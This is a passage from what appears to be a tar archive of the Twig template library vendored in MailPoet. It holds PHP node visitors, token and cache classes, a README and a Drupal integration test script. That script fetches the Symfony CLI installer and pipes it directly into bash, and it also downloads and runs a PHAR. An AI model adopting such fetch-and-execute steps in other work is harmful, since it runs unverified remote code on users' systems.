\MailPoetVendor\Twig\Node\PrintNode) { return $node; } $exprNode = $node->getNode('expr'); if ($exprNode instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression || $exprNode instanceof \MailPoetVendor\Twig\Node\Expression\ParentExpression) { $exprNode->setAttribute('output', \true); return $exprNode; } return $node; } private function optimizeRawFilter(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) : \MailPoetVendor\Twig\Node\Node { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\FilterExpression && 'raw' == $node->getNode('filter')->getAttribute('value')) { return $node->getNode('node'); } return $node; } private function enterOptimizeFor(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ForNode) { $node->setAttribute('with_loop', \false); \array_unshift($this->loops, $node); \array_unshift($this->loopsTargets, $node->getNode('value_target')->getAttribute('name')); \array_unshift($this->loopsTargets, $node->getNode('key_target')->getAttribute('name')); } elseif (!$this->loops) { return; } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' === $node->getAttribute('name')) { $node->setAttribute('always_defined', \true); $this->addLoopToCurrent(); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && \in_array($node->getAttribute('name'), $this->loopsTargets)) { $node->setAttribute('always_defined', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode || $node instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $this->addLoopToCurrent(); } elseif ($node instanceof \MailPoetVendor\Twig\Node\IncludeNode && !$node->getAttribute('only')) { $this->addLoopToAll(); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression && 'include' === $node->getAttribute('name') && (!$node->getNode('arguments')->hasNode('with_context') || \false !== $node->getNode('arguments')->getNode('with_context')->getAttribute('value'))) { $this->addLoopToAll(); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && (!$node->getNode('attribute') instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression || 'parent' === $node->getNode('attribute')->getAttribute('value')) && (\true === $this->loops[0]->getAttribute('with_loop') || $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' === $node->getNode('node')->getAttribute('name'))) { $this->addLoopToAll(); } } private function leaveOptimizeFor(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ForNode) { \array_shift($this->loops); \array_shift($this->loopsTargets); \array_shift($this->loopsTargets); } } private function addLoopToCurrent() { $this->loops[0]->setAttribute('with_loop', \true); } private function addLoopToAll() { foreach ($this->loops as $loop) { $loop->setAttribute('with_loop', \true); } } public function getPriority() { return 255; } } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\OptimizerNodeVisitor', 'MailPoetVendor\\Twig_NodeVisitor_Optimizer'); twig/src/NodeVisitor/index.php000066600000000000150351206230012361 0ustar00twig/src/NodeVisitor/NodeVisitorInterface.php000066600000001125150351206230015351 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\Node; interface NodeVisitorInterface { public function enterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env); public function leaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env); public function getPriority(); } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\NodeVisitorInterface', 'MailPoetVendor\\Twig_NodeVisitorInterface'); \class_exists('MailPoetVendor\\Twig\\Environment'); twig/src/NodeVisitor/EscaperNodeVisitor.php000066600000016464150351206230015047 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Extension\EscaperExtension; use MailPoetVendor\Twig\Node\AutoEscapeNode; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\DoNode; use MailPoetVendor\Twig\Node\Expression\ConditionalExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\InlinePrint; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\NodeTraverser; final class EscaperNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { private $statusStack = []; private $blocks = []; private $safeAnalysis; private $traverser; private $defaultStrategy = \false; private $safeVars = []; public function __construct() { $this->safeAnalysis = new \MailPoetVendor\Twig\NodeVisitor\SafeAnalysisNodeVisitor(); } protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { if ($env->hasExtension(\MailPoetVendor\Twig\Extension\EscaperExtension::class) && ($defaultStrategy = $env->getExtension(\MailPoetVendor\Twig\Extension\EscaperExtension::class)->getDefaultStrategy($node->getTemplateName()))) { $this->defaultStrategy = $defaultStrategy; } $this->safeVars = []; $this->blocks = []; } elseif ($node instanceof \MailPoetVendor\Twig\Node\AutoEscapeNode) { $this->statusStack[] = $node->getAttribute('value'); } elseif ($node instanceof \MailPoetVendor\Twig\Node\BlockNode) { $this->statusStack[] = isset($this->blocks[$node->getAttribute('name')]) ? $this->blocks[$node->getAttribute('name')] : $this->needEscaping($env); } elseif ($node instanceof \MailPoetVendor\Twig\Node\ImportNode) { $this->safeVars[] = $node->getNode('var')->getAttribute('name'); } return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $this->defaultStrategy = \false; $this->safeVars = []; $this->blocks = []; } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FilterExpression) { return $this->preEscapeFilterNode($node, $env); } elseif ($node instanceof \MailPoetVendor\Twig\Node\PrintNode && \false !== ($type = $this->needEscaping($env))) { $expression = $node->getNode('expr'); if ($expression instanceof \MailPoetVendor\Twig\Node\Expression\ConditionalExpression && $this->shouldUnwrapConditional($expression, $env, $type)) { return new \MailPoetVendor\Twig\Node\DoNode($this->unwrapConditional($expression, $env, $type), $expression->getTemplateLine()); } return $this->escapePrintNode($node, $env, $type); } if ($node instanceof \MailPoetVendor\Twig\Node\AutoEscapeNode || $node instanceof \MailPoetVendor\Twig\Node\BlockNode) { \array_pop($this->statusStack); } elseif ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode) { $this->blocks[$node->getAttribute('name')] = $this->needEscaping($env); } return $node; } private function shouldUnwrapConditional(\MailPoetVendor\Twig\Node\Expression\ConditionalExpression $expression, \MailPoetVendor\Twig\Environment $env, $type) { $expr2Safe = $this->isSafeFor($type, $expression->getNode('expr2'), $env); $expr3Safe = $this->isSafeFor($type, $expression->getNode('expr3'), $env); return $expr2Safe !== $expr3Safe; } private function unwrapConditional(\MailPoetVendor\Twig\Node\Expression\ConditionalExpression $expression, \MailPoetVendor\Twig\Environment $env, $type) { $expr2 = $expression->getNode('expr2'); if ($expr2 instanceof \MailPoetVendor\Twig\Node\Expression\ConditionalExpression && $this->shouldUnwrapConditional($expr2, $env, $type)) { $expr2 = $this->unwrapConditional($expr2, $env, $type); } else { $expr2 = $this->escapeInlinePrintNode(new \MailPoetVendor\Twig\Node\Expression\InlinePrint($expr2, $expr2->getTemplateLine()), $env, $type); } $expr3 = $expression->getNode('expr3'); if ($expr3 instanceof \MailPoetVendor\Twig\Node\Expression\ConditionalExpression && $this->shouldUnwrapConditional($expr3, $env, $type)) { $expr3 = $this->unwrapConditional($expr3, $env, $type); } else { $expr3 = $this->escapeInlinePrintNode(new \MailPoetVendor\Twig\Node\Expression\InlinePrint($expr3, $expr3->getTemplateLine()), $env, $type); } return new \MailPoetVendor\Twig\Node\Expression\ConditionalExpression($expression->getNode('expr1'), $expr2, $expr3, $expression->getTemplateLine()); } private function escapeInlinePrintNode(\MailPoetVendor\Twig\Node\Expression\InlinePrint $node, \MailPoetVendor\Twig\Environment $env, $type) { $expression = $node->getNode('node'); if ($this->isSafeFor($type, $expression, $env)) { return $node; } return new \MailPoetVendor\Twig\Node\Expression\InlinePrint($this->getEscaperFilter($type, $expression), $node->getTemplateLine()); } private function escapePrintNode(\MailPoetVendor\Twig\Node\PrintNode $node, \MailPoetVendor\Twig\Environment $env, $type) { if (\false === $type) { return $node; } $expression = $node->getNode('expr'); if ($this->isSafeFor($type, $expression, $env)) { return $node; } $class = \get_class($node); return new $class($this->getEscaperFilter($type, $expression), $node->getTemplateLine()); } private function preEscapeFilterNode(\MailPoetVendor\Twig\Node\Expression\FilterExpression $filter, \MailPoetVendor\Twig\Environment $env) { $name = $filter->getNode('filter')->getAttribute('value'); $type = $env->getFilter($name)->getPreEscape(); if (null === $type) { return $filter; } $node = $filter->getNode('node'); if ($this->isSafeFor($type, $node, $env)) { return $filter; } $filter->setNode('node', $this->getEscaperFilter($type, $node)); return $filter; } private function isSafeFor($type, \MailPoetVendor\Twig\Node\Node $expression, $env) { $safe = $this->safeAnalysis->getSafe($expression); if (null === $safe) { if (null === $this->traverser) { $this->traverser = new \MailPoetVendor\Twig\NodeTraverser($env, [$this->safeAnalysis]); } $this->safeAnalysis->setSafeVars($this->safeVars); $this->traverser->traverse($expression); $safe = $this->safeAnalysis->getSafe($expression); } return \in_array($type, $safe) || \in_array('all', $safe); } private function needEscaping(\MailPoetVendor\Twig\Environment $env) { if (\count($this->statusStack)) { return $this->statusStack[\count($this->statusStack) - 1]; } return $this->defaultStrategy ? $this->defaultStrategy : \false; } private function getEscaperFilter(string $type, \MailPoetVendor\Twig\Node\Node $node) : \MailPoetVendor\Twig\Node\Expression\FilterExpression { $line = $node->getTemplateLine(); $name = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('escape', $line); $args = new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\Expression\ConstantExpression((string) $type, $line), new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(null, $line), new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(\true, $line)]); return new \MailPoetVendor\Twig\Node\Expression\FilterExpression($node, $name, $args, $line); } public function getPriority() { return 0; } } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\EscaperNodeVisitor', 'MailPoetVendor\\Twig_NodeVisitor_Escaper'); twig/src/NodeVisitor/MacroAutoImportNodeVisitor.php000066600000004154150351206230016543 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\MethodCallExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; final class MacroAutoImportNodeVisitor implements \MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface { private $inAModule = \false; private $hasMacroCalls = \false; public function enterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $this->inAModule = \true; $this->hasMacroCalls = \false; } return $node; } public function leaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $this->inAModule = \false; if ($this->hasMacroCalls) { $node->getNode('constructor_end')->setNode('_auto_macro_import', new \MailPoetVendor\Twig\Node\ImportNode(new \MailPoetVendor\Twig\Node\Expression\NameExpression('_self', 0), new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression('_self', 0), 0, 'import', \true)); } } elseif ($this->inAModule) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && '_self' === $node->getNode('node')->getAttribute('name') && $node->getNode('attribute') instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $this->hasMacroCalls = \true; $name = $node->getNode('attribute')->getAttribute('value'); $node = new \MailPoetVendor\Twig\Node\Expression\MethodCallExpression($node->getNode('node'), 'macro_' . $name, $node->getNode('arguments'), $node->getTemplateLine()); $node->setAttribute('safe', \true); } } return $node; } public function getPriority() { return -10; } } twig/src/index.php000066600000000000150351206230010114 0ustar00twig/src/Util/TemplateDirIterator.php000066600000000571150351206230013663 0ustar00<?php
 namespace MailPoetVendor\Twig\Util; if (!defined('ABSPATH')) exit; class TemplateDirIterator extends \IteratorIterator { public function current() { return \file_get_contents(parent::current()); } public function key() { return (string) parent::key(); } } \class_alias('MailPoetVendor\\Twig\\Util\\TemplateDirIterator', 'MailPoetVendor\\Twig_Util_TemplateDirIterator'); twig/src/Util/index.php000066600000000000150351206230011031 0ustar00twig/src/Util/DeprecationCollector.php000066600000002275150351206230014046 0ustar00<?php
 namespace MailPoetVendor\Twig\Util; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Source; final class DeprecationCollector { private $twig; public function __construct(\MailPoetVendor\Twig\Environment $twig) { $this->twig = $twig; } public function collectDir($dir, $ext = '.twig') { $iterator = new \RegexIterator(new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($dir), \RecursiveIteratorIterator::LEAVES_ONLY), '{' . \preg_quote($ext) . '$}'); return $this->collect(new \MailPoetVendor\Twig\Util\TemplateDirIterator($iterator)); } public function collect(\Traversable $iterator) { $deprecations = []; \set_error_handler(function ($type, $msg) use(&$deprecations) { if (\E_USER_DEPRECATED === $type) { $deprecations[] = $msg; } }); foreach ($iterator as $name => $contents) { try { $this->twig->parse($this->twig->tokenize(new \MailPoetVendor\Twig\Source($contents, $name))); } catch (\MailPoetVendor\Twig\Error\SyntaxError $e) { } } \restore_error_handler(); return $deprecations; } } \class_alias('MailPoetVendor\\Twig\\Util\\DeprecationCollector', 'MailPoetVendor\\Twig_Util_DeprecationCollector'); twig/src/Token.php000066600000006204150351206230010101 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; final class Token { private $value; private $type; private $lineno; const EOF_TYPE = -1; const TEXT_TYPE = 0; const BLOCK_START_TYPE = 1; const VAR_START_TYPE = 2; const BLOCK_END_TYPE = 3; const VAR_END_TYPE = 4; const NAME_TYPE = 5; const NUMBER_TYPE = 6; const STRING_TYPE = 7; const OPERATOR_TYPE = 8; const PUNCTUATION_TYPE = 9; const INTERPOLATION_START_TYPE = 10; const INTERPOLATION_END_TYPE = 11; const ARROW_TYPE = 12; public function __construct($type, $value, $lineno) { $this->type = $type; $this->value = $value; $this->lineno = $lineno; } public function __toString() { return \sprintf('%s(%s)', self::typeToString($this->type, \true), $this->value); } public function test($type, $values = null) { if (null === $values && !\is_int($type)) { $values = $type; $type = self::NAME_TYPE; } return $this->type === $type && (null === $values || \is_array($values) && \in_array($this->value, $values) || $this->value == $values); } public function getLine() { return $this->lineno; } public function getType() { return $this->type; } public function getValue() { return $this->value; } public static function typeToString($type, $short = \false) { switch ($type) { case self::EOF_TYPE: $name = 'EOF_TYPE'; break; case self::TEXT_TYPE: $name = 'TEXT_TYPE'; break; case self::BLOCK_START_TYPE: $name = 'BLOCK_START_TYPE'; break; case self::VAR_START_TYPE: $name = 'VAR_START_TYPE'; break; case self::BLOCK_END_TYPE: $name = 'BLOCK_END_TYPE'; break; case self::VAR_END_TYPE: $name = 'VAR_END_TYPE'; break; case self::NAME_TYPE: $name = 'NAME_TYPE'; break; case self::NUMBER_TYPE: $name = 'NUMBER_TYPE'; break; case self::STRING_TYPE: $name = 'STRING_TYPE'; break; case self::OPERATOR_TYPE: $name = 'OPERATOR_TYPE'; break; case self::PUNCTUATION_TYPE: $name = 'PUNCTUATION_TYPE'; break; case self::INTERPOLATION_START_TYPE: $name = 'INTERPOLATION_START_TYPE'; break; case self::INTERPOLATION_END_TYPE: $name = 'INTERPOLATION_END_TYPE'; break; case self::ARROW_TYPE: $name = 'ARROW_TYPE'; break; default: throw new \LogicException(\sprintf('Token of type "%s" does not exist.', $type)); } return $short ? $name : 'MailPoetVendor\\Twig\\Token::' . $name; } public static function typeToEnglish($type) { switch ($type) { case self::EOF_TYPE: return 'end of template'; case self::TEXT_TYPE: return 'text'; case self::BLOCK_START_TYPE: return 'begin of statement block'; case self::VAR_START_TYPE: return 'begin of print statement'; case self::BLOCK_END_TYPE: return 'end of statement block'; case self::VAR_END_TYPE: return 'end of print statement'; case self::NAME_TYPE: return 'name'; case self::NUMBER_TYPE: return 'number'; case self::STRING_TYPE: return 'string'; case self::OPERATOR_TYPE: return 'operator'; case self::PUNCTUATION_TYPE: return 'punctuation'; case self::INTERPOLATION_START_TYPE: return 'begin of string interpolation'; case self::INTERPOLATION_END_TYPE: return 'end of string interpolation'; case self::ARROW_TYPE: return 'arrow function'; default: throw new \LogicException(\sprintf('Token of type "%s" does not exist.', $type)); } } } \class_alias('MailPoetVendor\\Twig\\Token', 'MailPoetVendor\\Twig_Token'); twig/src/Cache/CacheInterface.php000066600000000543150351206230012650 0ustar00<?php
 namespace MailPoetVendor\Twig\Cache; if (!defined('ABSPATH')) exit; interface CacheInterface { public function generateKey($name, $className); public function write($key, $content); public function load($key); public function getTimestamp($key); } \class_alias('MailPoetVendor\\Twig\\Cache\\CacheInterface', 'MailPoetVendor\\Twig_CacheInterface'); twig/src/Cache/index.php000066600000000000150351206230011117 0ustar00twig/src/Cache/FilesystemCache.php000066600000003417150351206230013077 0ustar00<?php
 namespace MailPoetVendor\Twig\Cache; if (!defined('ABSPATH')) exit; class FilesystemCache implements \MailPoetVendor\Twig\Cache\CacheInterface { const FORCE_BYTECODE_INVALIDATION = 1; private $directory; private $options; public function __construct($directory, $options = 0) { $this->directory = \rtrim($directory, '\\/') . '/'; $this->options = $options; } public function generateKey($name, $className) { $hash = \hash('sha256', $className); return $this->directory . $hash[0] . $hash[1] . '/' . $hash . '.php'; } public function load($key) { if (\file_exists($key)) { @(include_once $key); } } public function write($key, $content) { $dir = \dirname($key); if (!\is_dir($dir)) { if (\false === @\mkdir($dir, 0777, \true)) { \clearstatcache(\true, $dir); if (!\is_dir($dir)) { throw new \RuntimeException(\sprintf('Unable to create the cache directory (%s).', $dir)); } } } elseif (!\is_writable($dir)) { throw new \RuntimeException(\sprintf('Unable to write in the cache directory (%s).', $dir)); } $tmpFile = \tempnam($dir, \basename($key)); if (\false !== @\file_put_contents($tmpFile, $content) && @\rename($tmpFile, $key)) { @\chmod($key, 0666 & ~\umask()); if (self::FORCE_BYTECODE_INVALIDATION == ($this->options & self::FORCE_BYTECODE_INVALIDATION)) { if (\function_exists('opcache_invalidate') && \filter_var(\ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) { @\opcache_invalidate($key, \true); } elseif (\function_exists('apc_compile_file')) { \apc_compile_file($key); } } return; } throw new \RuntimeException(\sprintf('Failed to write cache file "%s".', $key)); } public function getTimestamp($key) { if (!\file_exists($key)) { return 0; } return (int) @\filemtime($key); } } \class_alias('MailPoetVendor\\Twig\\Cache\\FilesystemCache', 'MailPoetVendor\\Twig_Cache_Filesystem'); twig/src/Cache/NullCache.php000066600000000655150351206230011666 0ustar00<?php
 namespace MailPoetVendor\Twig\Cache; if (!defined('ABSPATH')) exit; final class NullCache implements \MailPoetVendor\Twig\Cache\CacheInterface { public function generateKey($name, $className) { return ''; } public function write($key, $content) { } public function load($key) { } public function getTimestamp($key) { return 0; } } \class_alias('MailPoetVendor\\Twig\\Cache\\NullCache', 'MailPoetVendor\\Twig_Cache_Null'); twig/README.rst000066600000001442150351206230007207 0ustar00Twig, the flexible, fast, and secure template language for PHP
==============================================================

Twig is a template language for PHP, released under the new BSD license (code
and documentation).

Twig uses a syntax similar to the Django and Jinja template languages which
inspired the Twig runtime environment.

Sponsors
--------

.. raw:: html

    <a href="https://blackfire.io/docs/introduction?utm_source=twig&utm_medium=github_readme&utm_campaign=logo">
        <img src="https://static.blackfire.io/assets/intemporals/logo/png/blackfire-io_secondary_horizontal_transparent.png?1" width="255px" alt="Blackfire.io">
    </a>

More Information
----------------

Read the `documentation`_ for more information.

.. _documentation: https://twig.symfony.com/documentation
twig/drupal_test.sh000066600000003321150351206230010400 0ustar00#!/bin/bash

set -x
set -e

REPO=`pwd`
cd /tmp
rm -rf drupal-twig-test
composer create-project --no-interaction drupal-composer/drupal-project:8.x-dev drupal-twig-test
cd drupal-twig-test
(cd vendor/twig && rm -rf twig && ln -sf $REPO twig)
echo '$config["system.logging"]["error_level"] = "verbose";' >> web/sites/default/settings.php
composer require drupal/core:8.7.x-dev webflo/drupal-core-require-dev:8.7.x-dev "egulias/email-validator:^2.0"
php ./web/core/scripts/drupal install --no-interaction demo_umami > output
perl -p -i -e 's/^([A-Za-z]+)\: (.+)$/export DRUPAL_\1=\2/' output
source output

wget https://get.symfony.com/cli/installer -O - | bash
export PATH="$HOME/.symfony/bin:$PATH"
symfony server:start -d --no-tls

curl -OLsS https://get.blackfire.io/blackfire-player.phar
chmod +x blackfire-player.phar
cat > drupal-tests.bkf <<EOF
name "Drupal tests"

scenario
    name "homepage"
    set name "admin"
    set pass "pass"

    visit url('/')
        expect status_code() == 200
    click link('Articles')
        expect status_code() == 200
    click link('Dairy-free and delicious milk chocolate')
        expect body() matches "/Dairy\-free milk chocolate is made in largely the same way as regular chocolate/"
        expect status_code() == 200
    click link('Log in')
        expect status_code() == 200
    submit button("Log in")
        param name name
        param pass pass
        expect status_code() == 303
    follow
        expect status_code() == 200
    click link('Structure')
        expect status_code() == 200
EOF
./blackfire-player.phar run drupal-tests.bkf --endpoint=`symfony var:export SYMFONY_DEFAULT_ROUTE_URL` --variable name=$DRUPAL_Username --variable pass=$DRUPAL_Password
symfony server:stop
index.php000066600000000000150351206230006353 0ustar00